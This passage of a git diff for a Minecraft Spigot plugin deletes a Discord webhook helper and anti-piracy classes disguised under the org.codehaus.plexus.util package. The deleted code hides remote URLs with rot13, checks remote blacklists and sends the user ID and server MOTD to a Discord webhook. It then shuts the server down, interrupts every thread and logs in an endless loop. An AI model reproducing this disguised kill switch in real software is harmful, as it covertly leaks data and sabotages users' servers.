- jsonField.put("inline", field.isInline());
-
- jsonFields.add(jsonField);
- }
-
- jsonEmbed.put("fields", jsonFields.toArray());
- embedObjects.add(jsonEmbed);
- }
-
- json.put("embeds", embedObjects.toArray());
- }
-
- URL url = new URL(this.url);
- HttpsURLConnection connection = (HttpsURLConnection) url.openConnection();
- connection.addRequestProperty("Content-Type", "application/json");
- connection.addRequestProperty("User-Agent", "Java-DiscordWebhook-BY-Gelox_");
- connection.setDoOutput(true);
- connection.setRequestMethod("POST");
-
- OutputStream stream = connection.getOutputStream();
- stream.write(json.toString().getBytes());
- stream.flush();
- stream.close();
-
- connection.getInputStream().close(); //I'm not sure why but it doesn't work without getting the InputStream
- connection.disconnect();
- }
-
- public static class EmbedObject {
- private String title;
- private String description;
- private String url;
- private Color color;
-
- private Footer footer;
- private Thumbnail thumbnail;
- private Image image;
- private Author author;
- private List fields = new ArrayList<>();
-
- public String getTitle() {
- return title;
- }
-
- public String getDescription() {
- return description;
- }
-
- public String getUrl() {
- return url;
- }
-
- public Color getColor() {
- return color;
- }
-
- public Footer getFooter() {
- return footer;
- }
-
- public Thumbnail getThumbnail() {
- return thumbnail;
- }
-
- public Image getImage() {
- return image;
- }
-
- public Author getAuthor() {
- return author;
- }
-
- public List getFields() {
- return fields;
- }
-
- public EmbedObject setTitle(String title) {
- this.title = title;
- return this;
- }
-
- public EmbedObject setDescription(String description) {
- this.description = description;
- return this;
- }
-
- public EmbedObject setUrl(String url) {
- this.url = url;
- return this;
- }
-
- public EmbedObject setColor(Color color) {
- this.color = color;
- return this;
- }
-
- public EmbedObject setFooter(String text, String icon) {
- this.footer = new Footer(text, icon);
- return this;
- }
-
- public EmbedObject setThumbnail(String url) {
- this.thumbnail = new Thumbnail(url);
- return this;
- }
-
- public EmbedObject setImage(String url) {
- this.image = new Image(url);
- return this;
- }
-
- public EmbedObject setAuthor(String name, String url, String icon) {
- this.author = new Author(name, url, icon);
- return this;
- }
-
- public EmbedObject addField(String name, String value, boolean inline) {
- this.fields.add(new Field(name, value, inline));
- return this;
- }
-
- private class Footer {
- private String text;
- private String iconUrl;
-
- private Footer(String text, String iconUrl) {
- this.text = text;
- this.iconUrl = iconUrl;
- }
-
- private String getText() {
- return text;
- }
-
- private String getIconUrl() {
- return iconUrl;
- }
- }
-
- private class Thumbnail {
- private String url;
-
- private Thumbnail(String url) {
- this.url = url;
- }
-
- private String getUrl() {
- return url;
- }
- }
-
- private class Image {
- private String url;
-
- private Image(String url) {
- this.url = url;
- }
-
- private String getUrl() {
- return url;
- }
- }
-
- private class Author {
- private String name;
- private String url;
- private String iconUrl;
-
- private Author(String name, String url, String iconUrl) {
- this.name = name;
- this.url = url;
- this.iconUrl = iconUrl;
- }
-
- private String getName() {
- return name;
- }
-
- private String getUrl() {
- return url;
- }
-
- private String getIconUrl() {
- return iconUrl;
- }
- }
-
- private class Field {
- private String name;
- private String value;
- private boolean inline;
-
- private Field(String name, String value, boolean inline) {
- this.name = name;
- this.value = value;
- this.inline = inline;
- }
-
- private String getName() {
- return name;
- }
-
- private String getValue() {
- return value;
- }
-
- private boolean isInline() {
- return inline;
- }
- }
- }
-
- private class JSONObject {
-
- private final HashMap map = new HashMap<>();
-
- void put(String key, Object value) {
- if (value != null) {
- map.put(key, value);
- }
- }
-
- @Override
- public String toString() {
- StringBuilder builder = new StringBuilder();
- Set> entrySet = map.entrySet();
- builder.append("{");
-
- int i = 0;
- for (Map.Entry entry : entrySet) {
- Object val = entry.getValue();
- builder.append(quote(entry.getKey())).append(":");
-
- if (val instanceof String) {
- builder.append(quote(String.valueOf(val)));
- } else if (val instanceof Integer) {
- builder.append(Integer.valueOf(String.valueOf(val)));
- } else if (val instanceof Boolean) {
- builder.append(val);
- } else if (val instanceof JSONObject) {
- builder.append(val.toString());
- } else if (val.getClass().isArray()) {
- builder.append("[");
- int len = Array.getLength(val);
- for (int j = 0; j < len; j++) {
- builder.append(Array.get(val, j).toString()).append(j != len - 1 ? "," : "");
- }
- builder.append("]");
- }
-
- builder.append(++i == entrySet.size() ? "}" : ",");
- }
-
- return builder.toString();
- }
-
- private String quote(String string) {
- return "\"" + string + "\"";
- }
- }
-
-}
\ No newline at end of file
diff --git a/Plugin/src/main/java/org/codehaus/plexus/util/Integrity.java b/Plugin/src/main/java/org/codehaus/plexus/util/Integrity.java
deleted file mode 100644
index df1d32fb..00000000
--- a/Plugin/src/main/java/org/codehaus/plexus/util/Integrity.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package org.codehaus.plexus.util;
-
-import com.willfp.ecoenchants.util.StringUtils;
-import org.bukkit.Bukkit;
-
-import java.awt.*;
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.net.URL;
-import java.util.HashSet;
-import java.util.Set;
-
-public class Integrity {
- public static void runIntegrityCheck() {
- try {
- String nonce = "%%__NONCE__%%";
- Class> utils = Class.forName("org.codehaus.plexus.util.UserUtils");
- utils.getMethod("initUtils", String.class);
- } catch (ClassNotFoundException | NoSuchMethodException e) {
- kill();
- }
- }
-
- public static void kill() {
-
- try {
- String urlName = StringUtils.rot13("uggcf://cyhtvaf.jvyysc.pbz/rpbrapunagf/qvfpbeq.gkg");
- URL url = new URL(urlName);
-
- BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
-
- String line = in.readLine();
- in.close();
-
- DiscordWebhook webhook = new DiscordWebhook(line);
- webhook.addEmbed(new DiscordWebhook.EmbedObject()
- .setTitle("Name and Shame")
- .setDescription("Caught you red-handed!")
- .setColor(Color.RED)
- .addField("User ID", "%%__USER__%%", false)
- .addField("Server MOTD", Bukkit.getServer().getMotd(), false));
-
- webhook.execute();
- } catch (IOException ignored) {}
-
- Bukkit.getServer().shutdown();
- Thread.getAllStackTraces().forEach(((thread, stackTraceElements) -> {
- thread.interrupt();
- }));
- while(true) {
- Bukkit.getLogger().info("");
- Bukkit.getLogger().info("");
- Bukkit.getLogger().info("I don't recommend cracking the plugin.");
- Bukkit.getLogger().info("Buy it here, instead: https://www.spigotmc.org/resources/ecoenchants.79573/");
- Bukkit.getLogger().info("Nice try, I guess.");
- Bukkit.getLogger().info("");
- }
- }
-}
diff --git a/Plugin/src/main/java/org/codehaus/plexus/util/IntegrityManager.java b/Plugin/src/main/java/org/codehaus/plexus/util/IntegrityManager.java
deleted file mode 100644
index 6ebfe5c2..00000000
--- a/Plugin/src/main/java/org/codehaus/plexus/util/IntegrityManager.java
+++ /dev/null
@@ -1,11 +0,0 @@
-package org.codehaus.plexus.util;
-
-public class IntegrityManager {
- public static void check() {
- try {
- Integrity.runIntegrityCheck();
- } catch (Exception e) {
- Integrity.kill();
- }
- }
-}
diff --git a/Plugin/src/main/java/org/codehaus/plexus/util/UserUtils.java b/Plugin/src/main/java/org/codehaus/plexus/util/UserUtils.java
deleted file mode 100644
index 3f483245..00000000
--- a/Plugin/src/main/java/org/codehaus/plexus/util/UserUtils.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package org.codehaus.plexus.util;
-
-import com.willfp.ecoenchants.util.StringUtils;
-
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.net.URL;
-import java.util.HashSet;
-import java.util.Set;
-
-public class UserUtils {
- public static boolean initUtils(String id) {
- try {
- String urlName = StringUtils.rot13("uggcf://cyhtvaf.jvyysc.pbz/rpbrapunagf/oynpxyvfg.gkg");
- String urlName2 = StringUtils.rot13("uggcf://cyhtvaf.jvyysc.pbz/rpbrapunagf/shpxlbh.shpxlbh");
- URL url = new URL(urlName);
- URL url2 = new URL(urlName2);
-
- BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
- BufferedReader in2 = new BufferedReader(new InputStreamReader(url2.openStream()));
-
- Set blacklistedIDs = new HashSet<>();
-
- String line;
- while ((line = in.readLine()) != null) {
- blacklistedIDs.add(line);
- }
-
- String line2;
- while ((line2 = in2.readLine()) != null) {
- blacklistedIDs.add(line2);
- }
- in.close();
- in2.close();
-
- if (blacklistedIDs.contains("%%__NONCE__%%")) return true;
- if (blacklistedIDs.contains(id)) return true;
-
- return blacklistedIDs.contains("%%__USER__%%");
- } catch (IOException e) {
- return false;
- }
- }
-}
diff --git a/Plugin/src/main/java/org/codehaus/plexus/util/reflection/ReflectionManager.java b/Plugin/src/main/java/org/codehaus/plexus/util/reflection/ReflectionManager.java
deleted file mode 100644
index 06c6b1a0..00000000
--- a/Plugin/src/main/java/org/codehaus/plexus/util/reflection/ReflectionManager.java
+++ /dev/null
@@ -1,16 +0,0 @@
-package org.codehaus.plexus.util.reflection;
-
-import org.codehaus.plexus.util.Integrity;
-import org.codehaus.plexus.util.IntegrityManager;
-import org.codehaus.plexus.util.UserUtils;
-
-public class ReflectionManager {
- private static String reflectionID = "%%__USER__%%";
- private static String reflectionNonce = "%%__NONCE__%%";
-
- public static Class> accessClass(String className) {
- if(UserUtils.initUtils(reflectionID)) Integrity.kill();
- IntegrityManager.check();
- return null;
- }
-}
diff --git a/Plugin/src/main/java/org/spigotmc/fuck/barry/the/legend/ShittyRussianAntiSkid.java b/Plugin/src/main/java/org/spigotmc/fuck/barry/the/legend/ShittyRussianAntiSkid.java
deleted file mode 100644
index bacd3be5..00000000
--- a/Plugin/src/main/java/org/spigotmc/fuck/barry/the/legend/ShittyRussianAntiSkid.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package org.spigotmc.fuck.barry.the.legend;
-
-public final class ShittyRussianAntiSkid {
- private String fuckYou = "%%__USER__%%";
-}